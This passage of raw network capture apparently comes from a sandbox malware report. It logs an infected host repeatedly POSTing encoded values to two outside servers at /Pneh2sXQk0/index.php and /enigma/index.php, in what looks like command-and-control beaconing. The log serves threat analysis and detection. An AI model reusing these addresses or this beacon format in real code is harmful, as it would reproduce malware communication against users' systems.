Apr 19, 2024 03:35:32.386051893 CEST	312	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 43 32 33 38 43 41 39 46 30 42 45 32 35 41 42 41 35 46 39 45 36 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 30 41 46 34 33 43 46 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADC238CA9F0BE25ABA5F9E64578B4B5647A288E7F81008DA96AE6C7F0AF43CFF9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Apr 19, 2024 03:35:32.639692068 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:35:32 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1211	192.168.2.5	51065	193.233.132.167	80

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:35:32.579780102 CEST	155	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:35:32.832335949 CEST	197	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:35:32 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 38 0d 0a 20 3c 63 3e 33 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 8 <c>3<d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1212	192.168.2.5	51066	193.233.132.56	80

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:35:32.993926048 CEST	158	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:35:33.242005110 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:35:33 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1213	192.168.2.5	51067	193.233.132.167	80

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:35:33.088392019 CEST	309	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 39 36 33 38 44 33 34 31 35 46 37 37 38 41 31 45 33 31 46 46 43 31 46 34 42 46 39 31 33 32 42 42 39 45 36 32 35 34 45 32 41 44 36 32 37 42 35 30 44 37 39 42 46 30 34 30 30 43 42 42 32 42 42 38 31 32 37 38 35 30 39 43 30 35 42 45 41 33 36 36 39 41 35 32 37 37 37 46 41 36 31 33 35 34 35 37 33 46 46 34 45 36 34 31 32 41 37 34 36 35 41 31 46 46 34 39 30 30 42 32 44 45 46 33 43 30 41 30 41 41 39 42 43 32 32 43 38 44 31 35 39 32 34 35 35 45 37 42 35 38 30 39 41 44 Data Ascii: r=9638D3415F778A1E31FFC1F4BF9132BB9E6254E2AD627B50D79BF0400CBB2BB81278509C05BEA3669A52777FA61354573FF4E6412A7465A1FF4900B2DEF3C0A0AA9BC22C8D1592455E7B5809AD
Apr 19, 2024 03:35:33.344263077 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:35:33 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1214	192.168.2.5	51068	193.233.132.56	80

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:35:33.494996071 CEST	312	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 43 32 33 38 43 41 39 46 30 42 45 32 35 41 42 41 35 46 39 45 36 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 30 41 46 34 33 43 46 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADC238CA9F0BE25ABA5F9E64578B4B5647A288E7F81008DA96AE6C7F0AF43CFF9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Apr 19, 2024 03:35:33.747904062 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:35:33 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1215	192.168.2.5	51069	193.233.132.167	80

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:35:33.699347973 CEST	155	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:35:33.948575020 CEST	197	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:35:33 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 38 0d 0a 20 3c 63 3e 33 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 8 <c>3<d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1216	192.168.2.5	51070	193.233.132.56	80

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:35:34.085194111 CEST	158	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:35:34.328098059 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:35:34 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1217	192.168.2.5	51071	193.233.132.167	80

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:35:34.201555967 CEST	309	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 39 36 33 38 44 33 34 31 35 46 37 37 38 41 31 45 33 31 46 46 43 31 46 34 42 46 39 31 33 32 42 42 39 45 36 32 35 34 45 32 41 44 36 32 37 42 35 30 44 37 39 42 46 30 34 30 30 43 42 42 32 42 42 38 31 32 37 38 35 30 39 43 30 35 42 45 41 33 36 36 39 41 35 32 37 37 37 46 41 36 31 33 35 34 35 37 33 46 46 34 45 36 34 31 32 41 37 34 36 35 41 31 46 46 34 39 30 30 42 32 44 45 46 33 43 30 41 30 41 41 39 42 43 32 32 43 38 44 31 35 39 32 34 35 35 45 37 42 35 38 30 39 41 44 Data Ascii: r=9638D3415F778A1E31FFC1F4BF9132BB9E6254E2AD627B50D79BF0400CBB2BB81278509C05BEA3669A52777FA61354573FF4E6412A7465A1FF4900B2DEF3C0A0AA9BC22C8D1592455E7B5809AD
Apr 19, 2024 03:35:34.458671093 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:35:34 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1218	192.168.2.5	51072	193.233.132.56	80

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:35:34.576683998 CEST	312	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 43 32 33 38 43 41 39 46 30 42 45 32 35 41 42 41 35 46 39 45 36 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 30 41 46 34 33 43 46 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADC238CA9F0BE25ABA5F9E64578B4B5647A288E7F81008DA96AE6C7F0AF43CFF9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Apr 19, 2024 03:35:34.825777054 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:35:34 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1219	192.168.2.5	51073	193.233.132.167	80

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:35:34.819503069 CEST	155	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:35:35.064300060 CEST	197	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:35:34 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 38 0d 0a 20 3c 63 3e 33 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 8 <c>3<d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1220	192.168.2.5	51074	193.233.132.56	80

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:35:35.166915894 CEST	158	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:35:35.414800882 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:35:35 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1221	192.168.2.5	51075	193.233.132.167	80

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:35:35.325860023 CEST	309	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 39 36 33 38 44 33 34 31 35 46 37 37 38 41 31 45 33 31 46 46 43 31 46 34 42 46 39 31 33 32 42 42 39 45 36 32 35 34 45 32 41 44 36 32 37 42 35 30 44 37 39 42 46 30 34 30 30 43 42 42 32 42 42 38 31 32 37 38 35 30 39 43 30 35 42 45 41 33 36 36 39 41 35 32 37 37 37 46 41 36 31 33 35 34 35 37 33 46 46 34 45 36 34 31 32 41 37 34 36 35 41 31 46 46 34 39 30 30 42 32 44 45 46 33 43 30 41 30 41 41 39 42 43 32 32 43 38 44 31 35 39 32 34 35 35 45 37 42 35 38 30 39 41 44 Data Ascii: r=9638D3415F778A1E31FFC1F4BF9132BB9E6254E2AD627B50D79BF0400CBB2BB81278509C05BEA3669A52777FA61354573FF4E6412A7465A1FF4900B2DEF3C0A0AA9BC22C8D1592455E7B5809AD
Apr 19, 2024 03:35:35.581305027 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:35:35 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1222	192.168.2.5	51076	193.233.132.56	80

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:35:35.673603058 CEST	312	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 43 32 33 38 43 41 39 46 30 42 45 32 35 41 42 41 35 46 39 45 36 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 30 41 46 34 33 43 46 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADC238CA9F0BE25ABA5F9E64578B4B5647A288E7F81008DA96AE6C7F0AF43CFF9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Apr 19, 2024 03:35:35.922187090 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:35:35 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1223	192.168.2.5	51077	193.233.132.167	80

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:35:35.941675901 CEST	155	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:35:36.184034109 CEST	197	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:35:36 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 38 0d 0a 20 3c 63 3e 33 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 8 <c>3<d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1224	192.168.2.5	51078	193.233.132.56	80

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:35:36.272294044 CEST	158	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:35:36.516016006 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:35:36 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1225	192.168.2.5	51079	193.233.132.167	80

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:35:36.436057091 CEST	309	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 39 36 33 38 44 33 34 31 35 46 37 37 38 41 31 45 33 31 46 46 43 31 46 34 42 46 39 31 33 32 42 42 39 45 36 32 35 34 45 32 41 44 36 32 37 42 35 30 44 37 39 42 46 30 34 30 30 43 42 42 32 42 42 38 31 32 37 38 35 30 39 43 30 35 42 45 41 33 36 36 39 41 35 32 37 37 37 46 41 36 31 33 35 34 35 37 33 46 46 34 45 36 34 31 32 41 37 34 36 35 41 31 46 46 34 39 30 30 42 32 44 45 46 33 43 30 41 30 41 41 39 42 43 32 32 43 38 44 31 35 39 32 34 35 35 45 37 42 35 38 30 39 41 44 Data Ascii: r=9638D3415F778A1E31FFC1F4BF9132BB9E6254E2AD627B50D79BF0400CBB2BB81278509C05BEA3669A52777FA61354573FF4E6412A7465A1FF4900B2DEF3C0A0AA9BC22C8D1592455E7B5809AD
Apr 19, 2024 03:35:36.688322067 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:35:36 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1226	192.168.2.5	51080	193.233.132.56	80

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:35:36.766957045 CEST	312	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 43 32 33 38 43 41 39 46 30 42 45 32 35 41 42 41 35 46 39 45 36 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 30 41 46 34 33 43 46 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADC238CA9F0BE25ABA5F9E64578B4B5647A288E7F81008DA96AE6C7F0AF43CFF9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Apr 19, 2024 03:35:37.017410040 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:35:36 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1227	192.168.2.5	51081	193.233.132.167	80

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:35:37.040606976 CEST	155	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:35:37.288063049 CEST	197	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:35:37 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 38 0d 0a 20 3c 63 3e 33 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 8 <c>3<d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1228	192.168.2.5	51082	193.233.132.56	80

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:35:37.376327038 CEST	158	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:35:37.622548103 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:35:37 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1229	192.168.2.5	51083	193.233.132.167	80

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:35:37.538708925 CEST	309	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 39 36 33 38 44 33 34 31 35 46 37 37 38 41 31 45 33 31 46 46 43 31 46 34 42 46 39 31 33 32 42 42 39 45 36 32 35 34 45 32 41 44 36 32 37 42 35 30 44 37 39 42 46 30 34 30 30 43 42 42 32 42 42 38 31 32 37 38 35 30 39 43 30 35 42 45 41 33 36 36 39 41 35 32 37 37 37 46 41 36 31 33 35 34 35 37 33 46 46 34 45 36 34 31 32 41 37 34 36 35 41 31 46 46 34 39 30 30 42 32 44 45 46 33 43 30 41 30 41 41 39 42 43 32 32 43 38 44 31 35 39 32 34 35 35 45 37 42 35 38 30 39 41 44 Data Ascii: r=9638D3415F778A1E31FFC1F4BF9132BB9E6254E2AD627B50D79BF0400CBB2BB81278509C05BEA3669A52777FA61354573FF4E6412A7465A1FF4900B2DEF3C0A0AA9BC22C8D1592455E7B5809AD
Apr 19, 2024 03:35:37.788729906 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:35:37 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1230	192.168.2.5	51084	193.233.132.56	80

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:35:37.884143114 CEST	312	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 43 32 33 38 43 41 39 46 30 42 45 32 35 41 42 41 35 46 39 45 36 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 30 41 46 34 33 43 46 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADC238CA9F0BE25ABA5F9E64578B4B5647A288E7F81008DA96AE6C7F0AF43CFF9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Apr 19, 2024 03:35:38.139626026 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:35:38 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1231	192.168.2.5	51085	193.233.132.167	80

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:35:38.142107964 CEST	155	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:35:38.385305882 CEST	197	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:35:38 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 38 0d 0a 20 3c 63 3e 33 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 8 <c>3<d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1232	192.168.2.5	51086	193.233.132.56	80

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:35:38.482996941 CEST	158	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:35:38.730781078 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:35:38 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1233	192.168.2.5	51087	193.233.132.167	80

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:35:38.633083105 CEST	309	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 39 36 33 38 44 33 34 31 35 46 37 37 38 41 31 45 33 31 46 46 43 31 46 34 42 46 39 31 33 32 42 42 39 45 36 32 35 34 45 32 41 44 36 32 37 42 35 30 44 37 39 42 46 30 34 30 30 43 42 42 32 42 42 38 31 32 37 38 35 30 39 43 30 35 42 45 41 33 36 36 39 41 35 32 37 37 37 46 41 36 31 33 35 34 35 37 33 46 46 34 45 36 34 31 32 41 37 34 36 35 41 31 46 46 34 39 30 30 42 32 44 45 46 33 43 30 41 30 41 41 39 42 43 32 32 43 38 44 31 35 39 32 34 35 35 45 37 42 35 38 30 39 41 44 Data Ascii: r=9638D3415F778A1E31FFC1F4BF9132BB9E6254E2AD627B50D79BF0400CBB2BB81278509C05BEA3669A52777FA61354573FF4E6412A7465A1FF4900B2DEF3C0A0AA9BC22C8D1592455E7B5809AD
Apr 19, 2024 03:35:38.888719082 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:35:38 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1234	192.168.2.5	51088	193.233.132.56	80

Timestamp	Bytes transferred	Direction	Data
